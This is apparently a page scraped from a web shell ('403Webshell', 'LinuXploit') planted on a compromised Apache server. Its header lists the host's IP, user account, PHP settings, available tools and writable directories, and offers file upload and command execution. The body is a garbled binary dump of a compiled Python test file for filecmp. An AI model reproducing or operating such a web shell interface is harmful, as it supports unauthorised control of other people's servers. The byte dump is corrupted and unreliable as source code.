403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_filecmp.cpython-36.opt-1.pyc
3

�w2_�"�@srddlZddlZddlZddlZddlZddlmZGdd�dej�ZGdd�dej�Z	dd�Z
ed	krne
�dS)
�N)�supportc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�FileCompareTestCasec
Cs�tj|_tjd|_tjd|_d}x8|j|j|jgD]$}t|d��}|j|�WdQRXq6Wt|jd��}|jd�WdQRXtj�|_	dS)Nz-samez-diffzContents of file go here.
�wza+zAn extra line.
)
rZTESTFN�name�	name_same�	name_diff�open�write�tempfile�
gettempdir�dir)�self�datar�output�r�6/opt/alt/python36/lib64/python3.6/test/test_filecmp.py�setUpszFileCompareTestCase.setUpcCs(tj|j�tj|j�tj|j�dS)N)�os�unlinkrrr)r
rrr�tearDownszFileCompareTestCase.tearDowncCsl|jtj|j|j�d�|jtj|j|jdd�d�|jtj|j|j�d�|jtj|j|jdd�d�dS)NzComparing file to itself failsF)�shallowz&Comparing file to identical file fails)�
assertTrue�filecmp�cmprr)r
rrr�
test_matchingsz!FileCompareTestCase.test_matchingcCs4|jtj|j|j�d�|jtj|j|j�d�dS)Nz!Mismatched files compare as equalz#File and directory compare as equal)�assertFalserrrrr)r
rrr�test_different'sz"FileCompareTestCase.test_differentcCsJtj|j|jdd�}tj|j|jdd�}tj�|jttj�dkd�dS)NF)rrz+Cache not cleared after calling clear_cache)	rrrrrZclear_cacher�len�_cache)r
Z
first_compareZsecond_comparerrr�test_cache_clear-s
z$FileCompareTestCase.test_cache_clearN)�__name__�
__module__�__qualname__rrrrrrrrrr
s


rc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�DirCompareTestCasec
Cstj�}tjj|d�|_tjj|d�|_tjj|d�|_tjj|jd�|_tjj	d�tjj	d�k|_
d}xv|j|j|j|jfD]^}tj|d�tj
|�|j
r�||jkr�d	}nd
}ttjj||�d��}|j|�WdQRXq~Wttjj|jd�d��}|jd
�WdQRXdS)Nrzdir-samezdir-diffz.hg�A�azContents of file go here.
T�FiLe�filer�file2zAn extra file.
)r
rr�path�joinr�dir_same�dir_diffZdir_ignored�normcase�caseinsensitive�shutil�rmtree�mkdirrr	)r
Ztmpdirrr�fnrrrrr5s"
zDirCompareTestCase.setUpcCs(x"|j|j|jfD]}tj|�qWdS)N)rr+r,r/r0)r
rrrrrNszDirCompareTestCase.tearDowncCs|jdtj�dS)Nz.hg)ZassertInrZDEFAULT_IGNORES)r
rrr�test_default_ignoresRsz'DirCompareTestCase.test_default_ignoresc
Cs�|jtj|j|jdg�dgggfkd�|jtj|j|jdg�dgggfkd�|jtj|j|jdgdd�dgggfkd�|jtj|j|jdgdd�d�ttjj|jd�d��}|j	d�WdQRX|j
tj|j|jddg�dgdggfkd	�dS)
Nr'z#Comparing directory to itself failsz!Comparing directory to same failsF)rr(rzDifferent contents.
z&Comparing mismatched directories fails)rrZcmpfilesrr+rrr)r*r	r)r
rrrr�
test_cmpfilesUs&z DirCompareTestCase.test_cmpfilesc
Cs*|j|j}}tj||�}|j|j|�|j|j|�|jrZ|j|j|j	gdgdgg�n|j|j|j	gdgdgg�|j|j
dg�|j|jg�|j|jg�|j|j
dg�|j|jg�dj|j|j�dg}|j|j|�|j|j}}tj||�}|j|j|�|j|j|�|j|jdg�|j|j	ddg�|j|j
dg�|j|jg�|j|jdg�|j|j
dg�|j|jg�dj|j|j�dj|j�dg}|j|j|�|j|j}}tjtjj|jd�tjj|jd��tj||�}|j|j|�|j|j|�|j|jddg�|j|j	dg�|j|j
dg�|j|jdg�|j|jg�|j|j
dg�|j|jg�dj|j|j�dj|j�dg}|j|j|�ttjj|jd�d��}|jd�WdQRXtj|j|j�}|j|j
dg�|j|jdg�dj|j|j�dd	g}|j|j|�dS)
Nr'r&z
diff {} {}zIdentical files : ['file']r(zOnly in {} : ['file2']rzDifferent contents.
zDiffering files : ['file2'])rr+r�dircmp�assertEqual�left�rightr.Z	left_listZ
right_list�commonZ	left_onlyZ
right_onlyZ
same_filesZ
diff_files�format�_assert_reportZreportr,r/Zmoverr)r*rr	)r
�left_dir�	right_dir�d�expected_reportrrrr�test_dircmppsr

zDirCompareTestCase.test_dircmpcCs@|j|j}}tj||�}dj|j|j�dg}|j|j|�dS)Nz
diff {} {}zIdentical files : ['file'])rr+rr5r:r;Zreport_partial_closure)r
r<r=r>r?rrr�test_report_partial_closure�s
z.DirCompareTestCase.test_report_partial_closurecCs@|j|j}}tj||�}dj|j|j�dg}|j|j|�dS)Nz
diff {} {}zIdentical files : ['file'])rr+rr5r:r;Zreport_full_closure)r
r<r=r>r?rrr�test_report_full_closure�s
z+DirCompareTestCase.test_report_full_closurec
Cs<tj��*}|�|j�j�jd�}|j||�WdQRXdS)N�
)rZcaptured_stdout�getvalue�strip�splitr6)r
Z
dircmp_reportZexpected_report_lines�stdoutZreport_linesrrrr;�s
z!DirCompareTestCase._assert_reportN)r r!r"rrr3r4r@rArBr;rrrrr#4sL		r#cCstjtt�dS)N)rZrun_unittestrr#rrrr�	test_main�srH�__main__)rrr/r
ZunittestZtestrZTestCaserr#rHr rrrr�<module>s*"

Youez - 2016 - github.com/yon3zu
LinuXploit